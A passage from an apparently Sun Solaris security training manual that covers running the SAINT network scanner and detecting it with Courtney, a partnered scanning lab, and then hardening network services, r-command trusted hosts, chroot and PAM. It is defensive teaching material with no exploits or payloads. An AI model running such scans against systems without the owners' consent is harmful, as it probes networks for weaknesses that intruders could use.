adjacent to the target host are probed. The number of hosts that SAINT
scans can grow exponentially if you increase $max_proximity_level
without carefully thinking about the attack plan. Code 12-3 shows the
proximity variable section of the conguration le.
Code 12-3 Setting the Proximity Variable
1 # Proximity variables; how far out do we attack,
2 # does severity go down, etc.
3 #
4 # how far out from the original target do we attack?
5 $max_proximity_level = 0;
Configuring SAINT
You should reduce the strength of the attack as the attack propagates
farther from the initial target system. This practice reduces the chance of
bringing an entire network to a standstill by inadvertent probing. To
reduce the strength of the attack, change the proximity descent variable in
this section of the conguration le as shown in Code 12-4.
Code 12-4 Reducing the Strength of the Attack
1 # Attack level drops by this much each
2 # proximity level change
3 $proximity_descent = 1;
Using a setting like that shown in Code 12-4 reduces the attack level
variable by 1 for each successive layer of hosts beyond the initial target
host. However, this does not apply when the attack level is set to 4 (SANS
top 10). When the attack level is set to 4, the level always stays the same.
Note For more detailed information on conguration le settings, see
the SAINT documentation on the saint.cf le (online at
http://www.wwdsi.com/cgi-bin/doc.pl?document=saint.cf).
Interpreting SAINT Reports
SAINT can produce many different types of reports which you can view
using a Web browser. This section shows two examples, but during the
practical exercise you should examine as many reports as you can.
Reporting Vulnerabilities by Type
Listing vulnerabilities by type is the most basic report type. In this report,
details are summarized and you are given a list of all the vulnerabilities
SAINT detected for the given attack, as shown in Figure 12-9.
Figure 12-9 Report of Vulnerabilities by Type
Reporting Potential Problems
The potential problems report, shown in Figure 12-10, shows the type of
vulnerability for each system detected.
Figure 12-10 Listing Potential Problems
Note The comment in Figure 12-10 about Back Orice backdoor found
is particularly noteworthy. This is a Microsoft Windows NT Trojan horse
which can seriously impair network security for all hosts. Solaris OE
administrators must be aware of the specic problems associated with
Microsoft Windows NT machines on a hybrid network.
Detecting Network Analyzer Attacks
Many tools can detect SAINT and similar tools. You can obtain a good
review of these at:
http://ciac.llnl.gov/ciac/ToolsUnixNetMon.html. Some of the
tools discussed are:
G Gabriel A tool from Los Altos Technologies which is written in the
C programming language for Solaris OE version 1 and 2.
G Netman A package from Curtin University. Netman is not a probe
detector but is a full network monitoring package.
G NOCOL This is also a tool from Curtin University. It detects and
monitors all network activity (not only SAINT or SATAN).
G Courtney A tool written by Computer Incident Advisory
Capability (CIAC) specically designed to monitor and detect
SAINT or SATAN attacks.
Detecting Attacks Using Courtney
The Courtney utility warns administrators of a SAINT or SATAN attack.
Courtney receives its input from the tcpdump utility. Courtney counts the
number of new services a machine originates within a certain time frame.
A machine is identied as a potential SAINT host if it connects to
numerous services within a specied time frame. Like SAINT, Courtney is
a Perl utility.
To run Courtney, you need Perl 5 and you must run the tcpdump utility.
Perl is part of the standard Solaris OE build, but you must download and
install the tcpdump utility from the site listed in Additional Resources
on page 12-3.
Obtaining and Installing Courtney
You can obtain the Courtney utility from a number of FTP sites. This
example of Courtney, called courtney.tar.gz, was retrieved from
ftp://ciac.llnl.gov/pub/ciac/sectools/unix/courtney/. To
install Courtney:
1. Uncompress and unarchive the courtney-1.3.tar.gz le.
2. The Courtney Perl script uses a hard code search path variable.
Unfortunately, this variable does not include the /usr/local/sbin
directory where the tcpdump utility resides. The easiest solution is to
link the tcpdump utility to the /usr/local/bin directory by
entering:
# ln /usr/local/sbin/tcpdump /usr/local/bin
3. Alternatively, update the Courtney script to set the correct search
path. Edit the courtney.pl script and search for the line starting
$ENV{'PATH'}. Update the associated search path to include the
path to the tcpdump utility (/usr/local/sbin).
$ENV{'PATH'}='/bin:/usr/bin:/usr/ucb:/usr/bsd:/usr/sbin:/usr/etc:/usr/loc
al/bin:/usr/local/sbin';
Using Courtney
Start Courtney, as shown in Code 12-5, with the output directed to
standard output. It reports any SAINT attacks (or similar attacks).
Code 12-5 Using Courtney
# ./courtney.pl -s
tcpdump: listening on hme0
00:18:10: NORMAL_ATTACK from wallace- target grommit
00:18:11: HEAVY_ATTACK from wallace - target grommit
By default, attacks are logged using the Syslog utility at the alert priority
level. This logging can be disabled by using the -l option.
Use the -h option to the Courtney command for a full list of command
line options.
Exercise: Using SAINT and Courtney
In this exercise, you will complete the following tasks:
G Install SAINT and perform different levels of attack
G Install and use Courtney to detect attacks
Preparation
utility.For the purposes of this exercise you will work in pairs to congure
SAINT scanning between your workstation and your partners
workstation. You will subsequently congure Courtney to detect scanning
attacks on your workstation.
Warning Due to the nature of the TCP/IP stack implementation on
Solaris OE, Courtney can only detect scan attacks initiated by another
workstation and does not detect scans originating from the current
workstation.
Ensure you know the host names of your workstation and your partners
workstation.
Task Installing SAINT
The SAINT download site is listed in Additional Resources on
page 12-3. A copy of the download le (saint-3.2.tar) is also in the
SAINT uses the tcpdump utility, which is not supplied with the Solaris 8
OE. This package also requires the openssl and libpcap packages. These
are available from the sites listed in Additional Resources on page 12-3,
and are included in the /usr/local/pkg directory. These software
packages might already have been installed from a previous exercise of
this course.
To install SAINT:
1. Extract the SAINT archive into the /usr/local directory to create a
subdirectory called saint-3.2.
2. Follow the instructions in the README le in the saint directory to
install SAINT.
Task Running a SAINT Attack
To run a SAINT attack:
1. Start up SAINT and then run a light SAINT attack on your partners
workstation and analyze the results.
2. Use the SAINT Target Selection page to select your current hostname
scanning level and then click Start the Scan.
3. Run a heavy attack to gain even more information.
Task Running SAINT From the Command Line
To run SAINT from the command line:
1. Run a medium level attack on your partners workstation but initiate
it from the command line. You can use the -h option to obtain
command line help from SAINT.
2. You can use the -h option to obtain command line help from SAINT:
# ./saint -h
Task Installing Courtney
The Courtney download site is listed in Additional Resources on
page 12-3. A copy of the download le (courtney-1_3.tar) is also in the
Courtney uses the tcpdump utility, which is not supplied with the Solaris
8 OE. This package also requires the openssl and libpcap packages.
These are available from the sites listed in Additional Resources on
page 12-3 and are included in the /usr/local/pkg directory. They will
have been installed in the rst exercise for this module.
To install Courtney:
1. Extract the Courtney archive and read the README le.
2. Include the tcpdump utility in Courtneys search path by linking it to
the /usr/local/bin directory.
Task Using Courtney to Detect Attacks
You must coordinate your work with another person in the class. One of
you will be the attacker and the other the target.
To use Courtney to detect attacks:
1. Initially, the target workstation must run Courtney from a command
window displaying the output to the screen.
2. The attacker must now run SAINT attacks to verify that Courtney
detects the attack. Start with a light SAINT attack and increase the
level until Courtney recognizes the attack.
Exercise Summary
Exercise Summary
?
!
G Experiences
G Interpretations
G Conclusions
G Applications
Exercise Solutions
Exercise Solutions
This section provides the solutions for this modules exercises.
Installing SAINT
1. Extract the archive into the /usr/local directory to create a
subdirectory called saint-3.2.
2. Follow the instructions in the README le in the SAINT directory to
install SAINT.
# cd /usr/local
# cd pkg
# pkgadd -d libpcap-0_6_1-sol8-sparc-local
# pkgadd -d tcpdump-3_6_1-sol8-sparc-local
# cd ..
# tar xvf pkg/saint-3.2.tar
# cd saint-3.2
# more README
# ./configure
# make
# make install
Running a SAINT Attack
1. Start SAINT and then run a light SAINT attack on your partners
workstation and analyze the results.
# ./saint
2. Use the SAINT Target Selection page to select your current hostname
and scanning level and then click Start the Scan.
3. Run a heavy attack to gain even more information by returning to
the Target Selection page and selecting a heavy attack.
Exercise Solutions
Running SAINT From the Command Line
1. With the permission of someone else in the class run a medium level
attack on their machine but initiate it from the command line.
# cd /usr/local/saint-3.2
# ./saint -i -a 1 wallace
wallace:
Critical Problems:
Exports /export/home to everyone
Areas of Concern:
Information from ruserid could help hacker
Services:
FTP
XDM (X login)
Telnet
uucp
X Windows
NFS
Installing Courtney
1. Extract the Courtney archive and read the README le.
# cd /usr/local
# tar xvf pkg/courtney-1_3.tar
# cd courtney-1.3
# more README
2. Include the tcpdump utility in Courtneys search path by linking it to
the /usr/local/bin directory.
# ln /usr/local/sbin/tcpdump /usr/local/bin
Using Courtney to Detect Attacks
1. Initially, the target workstation must run Courtney from a command
window displaying the output to the screen.
# ./courtney.pl -s
2. The attacker must now run SAINT attacks to verify that Courtney
detects the attack. Start with a light SAINT attack and increase the
level until Courtney recognizes the attack.
13-1
Module 13
SecurityNetworkServices
Objectives
G Congure network services such as telnet and FTP
G Congure remote access using rlogin and rsh commands
G Explain the role of the chroot command for enhanced security
G Congure Anonymous FTP
G Describe the role of authentication tools
G Congure and use Pluggable Authentication Module (PAM)
G Disable the use of rhosts les
G Describe the Sun Enterprise Authentication Mechanism (SEAM) and
the Kerberos 5 protocol
Relevance
Relevance
?
!
role of network services:
G Can you run your servers without providing network services?
G Can you list the network services you are running on the hosts you
administer?
G Which network services must you have and which are just
convenient?
G Which of the network services require user authentication and which
are open to all users?
Security Network Services 13-3
G Online manual pages for chroot(1M), exec(3), hosts.equiv(4),
inetd(1M), inetd.conf(4), in.ftpd(1M), login(1), netgroup(4),
pam(3PAM), pam.conf(4), pam_unix(5), rlogin(1), and rsh(1)
G Kerberos Home Page online
[http://web.mit.edu/kerberos/www/]
Restricting Network Services
The standard Solaris OE installation enables, by default, a number of
network services in the /etc/inetd.conf le. Many of these services are
there for historical reasons and are unnecessary. Some services (such as
finger and rusers) provide information about the host server and user
login names which intruders can use to inltrate those systems.
Consider disabling some or all of the standard network facilities as
described in Table 13-1 on page 13-5. Edit the /etc/inetd.conf le by
commenting out entries instead of erasing them. This method is helpful
when you try to restore a disabled network service.
The following services are enabled by default, as shown in Table 13-1.
Table 13-1 Network Services Enabled by Default
Service Usage
ftp - /usr/sbin/in.ftpd Transfers les to and from a server. The FTP
server has had a number of security
weaknesses over time, including variations
of the buffer overow attack. FTP also uses
unencrypted passwords. Disable this entry if
FTP is not required. This service also
supports Anonymous FTP.
telnet -
/usr/sbin/in.telnetd
Allows remote login access to a server. The
telnet service uses unencrypted
passwords. Disable if the telnet service is
not required. Using the Secure Shell (SSH)
can eliminate the need for a telnet service.
shell - /usr/sbin/in.rshd Supports the rsh command for running
commands on the host. If the user
authentication mechanism is used, no
passwords are required; otherwise
unencrypted passwords are used. Use SSH
in preference to the rsh command.
login - /usr/sbin/in.rlogind Supports the rlogin command for remote
login to the host. If the user authentication
mechanism is used, no passwords are
required; otherwise unencrypted passwords
are used. Use SSH in preference to the
rlogin command.
exec - /usr/sbin/in/rexecd Supports remote execution of commands
using the socket exec(3) system call. Might
be used by networking software to support
client functionality. Uses unencrypted
passwords. Disable it to see what stops
working or if something important breaks.
comsat - /usr/sbin/in.comsat Supports remote mail notication using the
biffprogram. Not needed on most systems.
The biff mail notication program informs
you when mail arrives in your mailbox.
talk - /usr/sbin/in.talkd Supports the talk service. Not needed on
most systems.
Several other services are required to support Solaris OE remote
management. These are described in the inetd.conf le. Enable only
those services that are being used at your site.
uucp - /usr/sbin/in.uucp Supports UNIX to UNIX Copy (UUCP) le
copy (used by older UNIX mail programs).
Not required on modern UNIX systems.
finger -
/usr/sbin/in.fingerd
Provides summary information on the
operating system and current users logged
into the system. The finger service can also
provide more detailed information about a
named user regardless of whether they are
logged in. Disable this service because it
provides intruders with information (such
as valid user account names) that can attack
the system.
rusersd -
/usr/lib/netsvc/rusers/
rpc.userd
Provides information similar to the who
command about users logged into the
system. Disable this service because it
provides intruders with information (such as
valid user account names) that can attack
the system.
sprayd -
/usr/lib/netsvc/spray/
rpc.sprayd
Analyzes RPC network trafc. Disable this
service because there are better ways to
monitor the network. The sprayd service
can be the target of a denial of service attack.
walld -
/usr/lib/netsvc/rwall/
rcp.rwalld
Writes a message to all logged in users.
Intended as a site-wide broadcast
mechanism. The walld service is not useful
in most sites and can be used as a network
attack target. If an intruder can write a
arbitrary message to a users terminal, they
can use terminal (or terminal emulator)
features to execute programs on behalf of the
logged in user. These attacks are known as
answerback or send message attacks.
Disable this service.
Table 13-1 Network Services Enabled by Default (Continued)
Service Usage
FTP Users
FTP has an additional security measure that allows you to deny some user
accounts access to FTP.
The /etc/ftpusers le contains a list of all user names denied access to
FTP (the le name is misleading). By default, this le contains the system
accounts such as root, bin, adm, and so on. Add additional user names to
this le to prevent accounts from using FTP.
Defending Network Services
It is difcult to defend the network services on your host. If you provide a
service over the network you must accept the possibility of a break-in. You
must trust that the network service itself is secure but in reality many
services have security weaknesses that can be attacked. Make sure that
you use the latest versions of all network service software and keep up-to-
date with the security alerts and operating system patches for your
software.
Two techniques can help defend your network services against basic
attacks:
G Non-standard port numbers
G Dummy services
Non-Standard Port Numbers
Consider putting services on non-standard port numbers. For example,
move the telnet service to port 4321 and tell your users to use the
command:
# telnet host 4321
This method does not make the service any more secure but it can deter a
casual intruder from attacking the system because the intruder cannot
nd a telnet server on port 23 and has to look for other weaknesses.
This will not put off an experienced intruder who can use port scanning
tools to detect the telnet service, regardless of port number.
Dummy Services
Running dummy services can improve your early warning system for
network attacks. A dummy service is a server which sits on a well known
port (such as 23 for telnet) and logs the IP address of any client which
connects to that port. Although it also catches genuine user mistakes, this
technique denitely detects intruders trying to attack your system.
A simple logging service like this can be written by a C, C++, Java
technology, or Perl programmer.
More sophisticated dummy servers require more programmer
development, but it is still relatively easy to write a server which looks and
behaves like a standard service but provides no functionality except to log
the connections.
One example is a telnet server which prompts for a user name and
password in exactly the same manner as a real telnet server. But the
dummy service always denies access to the system even if the user name
and password are correct. Such a server can sidetrack intruders
attempting to break into a system using a mechanism which cannot be
broken. Imagine putting a dummy front door on your house or apartment
which is nailed shut: Even if it could be opened, it simply opens to a solid
wall.
Berkeley rCommands
Berkeley rCommands
A number of network security concerns involve the Berkeley r
commands, rlogin, rsh, and rcp. The r commands use privileged ports,
ranging from 512 to 1023.
All three commands in the Berkeley r command set require that the user
have an account set up on the remote system:
G The rlogin (remote login) command Allows a login session on a
remote system. To log into host wallace use:
# rlogin wallace
G The rsh (remote shell) command Also called remsh, executes a
program on a remote system. To run a ps command on host grommit
use:
# rsh grommit ps -ef
Berkeley rCommands
G The rcp (remote copy) command Allows a user to copy les
between remote systems. To copy the sulog le from host wallace
to the temporary directory on grommit use:
# rcp wallace:/var/adm/sulog grommit:/tmp/sulog.wallace
Note On some older UNIX versions the rsh command was known as
remsh because the /usr/bin/rsh command was the restricted Bourne
shell. More recent UNIX systems have moved the restricted shell to the
/usr/lib/rsh command and standardized the /usr/bin/rsh command
as the remote shell; however the /usr/bin/remsh command is linked to
the /usr/bin/rsh command to maintain backward compatibility.
The rsh and rcp commands are further restricted in that the remote host
must have congured the host running the command as a trusted host
(see Trusted Hosts on page 13-12).
You can use the rlogin command if you have an account on the remote
system, even if the remote system is not trusted. The rlogin command
prompts for a password unless the system running the command is a
trusted host.
The rlogin and rsh commands use the -l option to specify a login user
name to use on the remote host. For user bob to run the ps command as
the root user on grommit, Bob would type:
# rsh -l root grommit ps -ef
The rcp command can also specify user names, but because there might
be different users on each machine, the le name is prexed with the user
name much like an email address. For example:
# rcp alice@wallace:/var/adm/sulog bob@grommit:/tmp/sulog.wallace
This command reads the /var/adm/sulog le from wallace as user
alice and writes the le to grommit as user bob.
Berkeley rCommands
Trusted Hosts
Trusted hosts are congured using two types of conguration les on the
host which is the target of the remote command (not the system running
the command):
G A global conguration le used for all users except root
G Individual user conguration les
Running the command from the host wallace requires grommit to
congure wallace as a trusted host:
# rsh grommit ps -ef
The trusted host conguration les all have the same format, where each
line represents a trusted host or a trusted host and a named user. The user
defaults to the current user if no user name is supplied on the trusted host
line. User names and hosts can be specied using Netgroups as dened in
the /etc/netgroups le (read the online manual pages and Solaris
AnswerBook for a description of Netgroups).
Berkeley rCommands
A simple trusted host le is:
wallace
grommit
Both hosts wallace and grommit are trusted.
Note A host does not trust itself unless its host name is included in the
trusted hosts le.
A more complex trusted host le is:
wallace bob
grommit alice
In this example, only user bob on host wallace and user alice on host
grommit are trusted.
Note The hosts ofcial name must be used. Aliases are not recognized,
nor are IP addresses.
Berkeley rCommands
In a trusted host conguration le, a line containing a single plus sign (+)
means trust all known hosts, but this is extremely insecure and you should
never use it. Systems can be barred from access by preceding the host
name with a minus sign (-), but because this only makes sense when using
the plus sign it also should not be used. If a host is not listed in the
conguration le that means that it is denied access.
Note The trusted host les are one-way only. A given host species
which other hosts are trusted. This does not imply that this host is also
trusted by the ones it trusts. The other hosts have their own list of trusted
hosts.
Berkeley rCommands
Determining Trusted Access
When the target server determines if a user wanting to run a remote
command is trusted or not, the target server checks the password le to
ensure that the remote user has an entry on this system. If not, the
command is rejected.
If the user has a valid account, the target system checks the
/etc/hosts.equiv le for all users except for the root user. The
/etc/hosts.equiv le identies the trusted hosts for all the non-root
users on the system.
Note Some older versions of SunOS and the Solaris OE have a default
/etc/hosts.equivle with the single entry +. Delete this le because it
is extremely insecure.
Berkeley rCommands
If the user is in the passwd le and the host is a trusted host, the user can
use the rlogin or rsh commands without a password.
Note Do not use user names in the hosts.equiv trusted le. You might
expect that adding a user name to a line in the /etc/hosts.equiv le
would restrict the use of the r commands to that named user only.
However, in practice, specifying a user name usually allows the named
user to run commands as any user on this server.
If the user and host are not trusted in the /etc/host.equiv le
(remember that root does not use hosts.equiv), then the system checks
for a le called $HOME/.rhosts (where $HOME is the users home
directory). The $HOME/.rhosts le only denes trusted hosts for the user
account actually running the command, which is the same as the user
running the command unless the user name is supplied on the command
line.
Note When the user attempting a remote command is logged in as the
root user, only the /.rhosts le is checked, not the /etc/hosts.equiv
le.
Berkeley rCommands
Trusted Hosts Good or Bad?
Many administrators frown on the use of the trusted host mechanism and
the r commands. An intruder who breaksin to a login account with this
feature activated can access a large number of systems on the network.
This type of access can propagate many viruses and worms. The trusted
host mechanism effectively lowers the overall security of the network to
that of the weakest host.
The opposing argument is that by setting up trusted hosts correctly and
only where necessary, you can avoid using the telnet command to access
a host and you can avoid sending unencrypted passwords across a
potentially insecure network.
A useful technique with the root user, trustedhosts le (/.rhosts) is to
include entries for all of your administrators, which allows them to run
remote commands on this host. On wallace, for example:
# cat /.rhosts
wallace alice
wallace bob
Berkeley rCommands
This entry allows the user alice and the user bob to run commands on
the host wallace (the current system). This might not make sense until
you consider that this is the root user trusted hosts le. For example, this
entry allows the user bob to run the following command:
$ rsh -l root wallace passwd eve
This command allows the user bob to change the password for the user
eve. The advantage of this conguration is that the user bob does not use
the su command or enter the root user password. This conguration is
more secure than having the user bob (who might be using the telnet
command from a PC to access the server) use the su command and send
unencrypted passwords over the network where they can be sniffed.
However, if the accounts for either user alice or user bob are
compromised, then the root account is also compromised.
There is no right or wrong answer just personal preferences. If you are
using tools and techniques like SSL, IPS, or SSH, it is usually a good idea
to disable the trusted hosts mechanism. See Disabling Remote Access
Using PAM on page 13-38.
Securing Services With The chrootCommand
The chroot command changes the root directory for the duration of a
programs execution lifetime. The effect is to run the program in a
sandbox: the only les and directories that the program can access are
those underneath the new root directory. With the chroot command:
G All absolute pathnames are redirected to the changed root directory
(both on the command line and with any les opened) while the
program executes.
G A reference to the parent directory of the changed root directory is
redirected to the root directory itself (which prevents the user from
using the cd .. command to move up and out of the new root
directory).
The chroot command is not an easy command to use and requires
considerable work and expertise to set up. However, most of the work can
be easily scripted.
Intelligent use of chroot can dramatically tighten the security of a system.
When to Use the chroot Command
Use the chroot command to run network services in a sandbox.
Anonymous FTP and Trivial File Transfer Protocol (TFTP) are the usual
services which are run using the chroot command.
A security-conscious administrator uses the chroot command for all
possible services. Candidates are:
G FTP (in additional to Anonymous FTP)
G HTTP servers (Web servers should run in a sandbox)
G The telnet program
The telnet program can be considered for chroot security. If the
telnet program is congured to use the chroot command, remote
administration of the host must be done from the console (or a
directly attached terminal) or done using a network Common
Desktop Environment (CDE) session which uses X Display Manager
Control Protocol Description (XDMCP) for login.
G Any network service which does not require access to the full
operating system
If you use the chroot command, some of the known weaknesses in
network services can be minimized by presenting a very restricted view of
the system.
How to Use the chroot Command
To use the chroot command, you must congure a complete environment
for the executing program including:
G Executable command les
G Shared libraries
G Device les
A basic example of the chroot command that extracts a tar le into the
/tmp directory is shown in Code 13-1. You can use the chroot command
to extract a tar archive which has stored absolute instead of relative path
names. Without the chroot command, extracting the tar archive would
overwrite the existing les on disk.
Code 13-1 Using the chroot Command
# cp tools.tar /tmp
# chroot /tmp /usr/lib/tar xvf /tools.tar
There are a few points to note about Code 13-1:
G The real path name for the tar archive is /tmp/tools.tar.
However, the command line must use its relocated name of
/tools.tar because all path names are relative to the /tmp directory
(the rst parameter to the chroot command).
G The /usr/sbin/static/tar command is a statically linked
program (it includes all required libraries in the one executable
binary). The usual tar command in /usr/bin is dynamically linked
and must have the required libraries copied to the changed root
directory.
G When the tar archive is extracted all les are under the /tmp
directory (all absolute path names in the archive are relocated to the
new root directory of /tmp).
Anonymous FTP
A more complex example of using the chroot command is one for
running Anonymous FTP. The in.ftpd daemon uses the chroot
mechanism when a user logs in as the anonymous user. A password must
be supplied. It is conventional to use your email address as the password,
but most servers accept any password.
Anonymous FTP is insecure because anyone can access the service.
Anonymous FTP is usually congured so that les can only be downloaded
and not uploaded onto the host.
The in.ftpd daemon needs all of its support libraries and conguration
les to be in the changed root directory to run correctly. These include:
G /usr/bin Required executable les to support FTP. The in.ftpd
daemon needs at least the /usr/bin/ls le.
G /etc Conguration les used by FTP or other programs (like ls).
The in.ftpd daemon needs at least the following:
G /etc/passwd for ls listings
G /etc/default/ftpd for conguration
G /etc/default/init for the time zone
Note The /etc/passwd le used by FTP does not need to be the same as
/etc/passwd on the real system. You can use a series of dummy account
names which might sidetrack potential intruders who are unaware of the
chroot functionality. FTP does not need the /etc/shadow le, so it
should not be copied into the changed root directory.
G /usr/lib Required dynamic link libraries. The ldd command lists
all required libraries for a given command list. Required dynamic
link libraries for FTP can be obtained using:
# ldd /usr/bin/ftp /usr/bin/ls
G /usr/lib/security Contains the security database required by
most commands.
G /usr/share/lib/zoneinfo Contains time zone conguration
les.
G Include these device les that are required to support network
services:
G /dev/zero
G /dev/tcp
G /dev/udp
G /dev/ticotsord
G /dev/ticlts
G /dev/null (optional, but most administrators also
copy this file)
Note Devices opened from the command line before the FTP is started
(such as stdin, stdout, and stderr) do not need device les.
G A directory for the public FTP les (this is usually a directory called
/pub). The public directory should be read-only to all users.
G A writable subdirectory (if you need users to upload les). To ensure
that no DoS attacks can be attempted (for example by lling the FTP
area with user-uploaded les), place the entire area on a separate
disk partition or slice.
The in.ftpd daemon also requires a user called ftp whose home
directory is the same as the root directory for Anonymous FTP access.
The online manual page for the in.ftpd daemon includes a shell script
which automates the entire process. This script could be easily adapted
for other network services.
Note If the in.ftpd daemon is congured to log FTP logins,
Anonymous FTP logins are also logged. Because the inted daemon
communicates directly with the Syslog daemon, no path names are
required. Running the in.ftpd daemon under the chroot command does
not require any special conguration.
Pluggable Authentication Module (PAM)
The Pluggable Authentication Module (PAM) framework allows new
authentication technologies to be plugged in without changing system
services such as login, ftp, telnet, and so on. PAM can also integrate
the UNIX login service with other security mechanisms such as the
Distributed Computing Environment (DCE), Generic Security Services
(GSS), or the Kerberos authentication systemSun Enterprise
Authentication Mechanism (SEAM). You can also use this framework to
plug in mechanisms for account, session, and password management.
The PAM application program interface (API) and Kerberos complement
each other: The PAM API supports user authentication by the system
entry servers while Kerberos supports network-based clientserver
authentication. Therefore, when users on client systems are authenticated
through PAM, they can communicate securely with other Kerberos
network services.
PAM is integrated into the Solaris 8 OE. PAM is also available on other
versions of UNIX.
PAM Runtime Modules
PAM uses runtime pluggable modules to provide authentication for local
and remote system entry services. These modules are organized into four
different function types:
G Authentication modules Provide authentication for users and allow
credentials to be set, refreshed, or destroyed. Authentication
modules are useful as an administration tool.
G Account modules Check for password aging, account expiration,
and access time restrictions. After the user is identied through the
authentication modules, the account modules determine if the user is
allowed access.
G Session modules Manage the opening and closing of an
authentication session. Session modules can log activity or clean up
after the session is over.
G Password modules Provide the mechanism for changing a
password.
The module services can be stacked, which provides:
G User authentication through the use of multiple services. The PAM
framework provides a method for authenticating users with multiple
services using stacking. Depending on the conguration, the user
can be prompted for passwords for each authentication method. The
order in which the authentication services are used is determined
through the PAM conguration le.
G A password-mapping feature. The stacking method can require users
to remember several passwords. With the password-mapping feature
enabled, the primary password decrypts the other passwords, so that
the user does not have to enter multiple passwords. Another option
is to synchronize the passwords across each authentication
mechanism.
Note Synchronized passwords could increase the security risk, because
the security of each mechanism is limited by the least secure password
method used in the stack.
The pam_unixModule
The pam_unix module, /usr/lib/security/pam_unix.so.1, provides
support for all four types of runtime modules. This module uses UNIX
passwords for authentication. The /etc/nsswitch.conf le denes the
following name services which control password records:
G dial_auth You can only use the
/usr/lib/security/pam_dial_auth.so.1 module for
authentication. (See the pam_dial_auth man page.) The dial_auth
uses data stored in the /etc/dialups and /etc/d_passwd les for
authentication. The dial_auth service is mainly used by the login
command.
G rhosts_auth You can also use the
/usr/lib/security/pam_rhosts_auth.so.1 module for
authentication. (See the pam_rhosts_auth man page.) The
rhosts_auth module uses data stored in the ~/.rhosts and
/etc/host.equiv les and the rlogin and rsh commands.
Note For security reasons, these module les must be owned by the
root user and must not be writable through group or other permissions.
If the le is not owned by the root user, PAM does not load the module.
Figure 13-1 shows how the PAM modules relate to each other and
the network services using them:.
Figure 13-1 PAM Module Structure
The ftp, telnet, and login applications use the PAM library to access
the appropriate module. The /etc/pam.conf conguration le denes:
G Which PAM modules to use
G In what order to use modules with each application
Responses from the modules are passed back through the library to the
application.
PAMLibrary
The PAM library, /usr/lib/libpam, provides the framework to load the
appropriate modules and manage the stacking process. It also provides a
generic plug-in structure for the modules.
PAM Configuration File
The /etc/pam.conf le controls the PAM conguration, determines
which authentication services to use, and in which order the
authentication services are used. You can edit this le to select
authentication mechanisms for each system-entry application.
Conguration File Syntax
The /etc/pam.conf PAM conguration le consists of lines of
tab-separated entries with the following syntax:
service_name module_type control_ag module_path module_options
Code 13-2 shows a portion of a PAM conguration le.
Code 13-2 PAM Conguration File Syntax
1 login auth required /usr/lib/security/pam_unix.so.1
2 su auth requisite /usr/lib/security/pam_inhouse.so.1
3 su auth required /usr/lib/security/pam_unix.so.1
debug
Code 13-2 consists of:
G service_name Name of the service: ftp, login, or telnet.
G module_type Module type for the service: auth, account,
session, or password.
G control_flag Continuation or failure semantics for the module:
requisite, required, sufficient, or optional. These ags are
described in PAM Control Flags on page 13-31.
G module_path Path to the library object that controls the services
function.
G module_options Module-specic options that are passed to the
service modules. The values for this eld can be found in the manual
pages for each module. For example, the pam_unix module has the
use_first_pass and try_first_pass options which allow users to
reuse the same password for authentication without retyping it.
An entry in the PAM conguration le is incorrect if:
G The line has less than four elds
G An invalid value is given for module_type or control_flag
G The named module is not found
PAM Control Flags
Control ags indicate how to handle a successful or a failed attempt
through each module. The control ags also determine the continuation or
failure behavior of a module during the authentication process.
You must use one of the four control ags (requisite, required,
optional, or sufficient) for each entry. These ags apply to all module
types. The control ags, when used for authentication modules, cause the
following behaviors:
G requisite The module must return success for additional
authentication to occur. If a failure occurs for a module agged as
requisite, an error is returned to the application and no additional
authentication is done. If the stack does not include prior failed
modules labeled as required, then the error from the current
module is returned. If an earlier module labeled as required has
failed, the error message from the earlier module is returned.
G required The module must return success for the overall result to
be successful. If all of the modules are labeled required, then
authentication through all modules must succeed for the user to be
authenticated. If some of the modules fail, then an error value from
the rst failed module is reported. If a failure occurs for a module
agged as required, all modules in the stack are still tried but
failure is returned. If none of the modules are agged as required,
then only one of the entries for that service must succeed for the user
to be authenticated.
G optional If this module fails, the overall result can be successful if
another module in this stack returns success. Use the optional ag
when one success in the stack is enough for a user to be
authenticated. Use this ag only if it is not important for this
particular mechanism to succeed. If your users need to have
permissions associated with a specic mechanism, do not label the
module optional.
G sufficient If this module is successful, skip the remaining
modules in the stack, even if they are labeled required. The
sufficient ag indicates that one successful authentication is
enough to grant the user access.
Example PAMConguration
Code 13-3 shows an example PAM conguration le.
Code 13-3 PAM Conguration File
1 # cat /etc/pam.conf
2 #ident "@(#)pam.conf 1.15 00/02/14 SMI"
3 #
4 # Copyright (c) 1996-1999 by Sun Microsystems, Inc.
5 # All rights reserved.
6 #
7 # PAM configuration
8 #
9 # Authentication management
10 #
11 login auth required /usr/lib/security/$ISA/pam_unix.so.1
12 login auth required
/usr/lib/security/$ISA/pam_dial_auth.so.1
13 #
14 rlogin auth sufficient
/usr/lib/security/$ISA/pam_rhosts_auth.so.1
15 rlogin auth required /usr/lib/security/$ISA/pam_unix.so.1
16 #
17 dtlogin auth required /usr/lib/security/$ISA/pam_unix.so.1
18 #
19 rsh auth required
/usr/lib/security/$ISA/pam_rhosts_auth.so.1
20 other auth required /usr/lib/security/$ISA/pam_unix.so.1
21 #
22 # Account management
23 #
24 login account requisite /usr/lib/security/$ISA/pam_roles.so.1
25 login account required
/usr/lib/security/$ISA/pam_projects.so.1
26 login account required /usr/lib/security/$ISA/pam_unix.so.1
27 #
28 dtlogin account requisite /usr/lib/security/$ISA/pam_roles.so.1
29 dtlogin account required
30 dtlogin account required /usr/lib/security/$ISA/pam_unix.so.1
31 #
32 other account requisite /usr/lib/security/$ISA/pam_roles.so.1
33 other account required
34 other account required /usr/lib/security/$ISA/pam_unix.so.1
35 #
36 # Session management
37 #
38 other session required /usr/lib/security/$ISA/pam_unix.so.1
39 #
40 # Password management
41 #
42 other password required /usr/lib/security/$ISA/pam_unix.so.1
43 dtsession auth required /usr/lib/security/$ISA/pam_unix.so.1
44 #
In Code 13-3 on page 13-32, the $ISA variable expands to the architecture
of the current system, which allows one conguration le for multiple
architectures.
In Code 13-3 on page 13-32, the example le denes that:
G For login, authentication is required for both the pam_unix and the
pam_dial_auth modules (Lines 1112).
G For rlogin, if authentication through pam_rhost_auth fails,
authentication through the pam_unix module must succeed. The
sufficient control ag indicates that if authentication through
pam_rhost_auth module succeeds, the pam_unix authentication is
skipped (Lines 1415).
G Authentication for rsh must succeed through the pam_rhosts_auth
module (Line 19).
G The other service name allows you to set a default for any other
commands requiring authentication. The other option makes it
easier to administer the le, because many commands using the
same module can be covered with one other entry. In addition, the
other service name ensures that each access is covered by one
module. By convention, the other entry is included at the bottom of
the section for each module type (Line 20 is the rst example of an
other entry).
G The remaining entries in the le congure the account, session, and
password management.
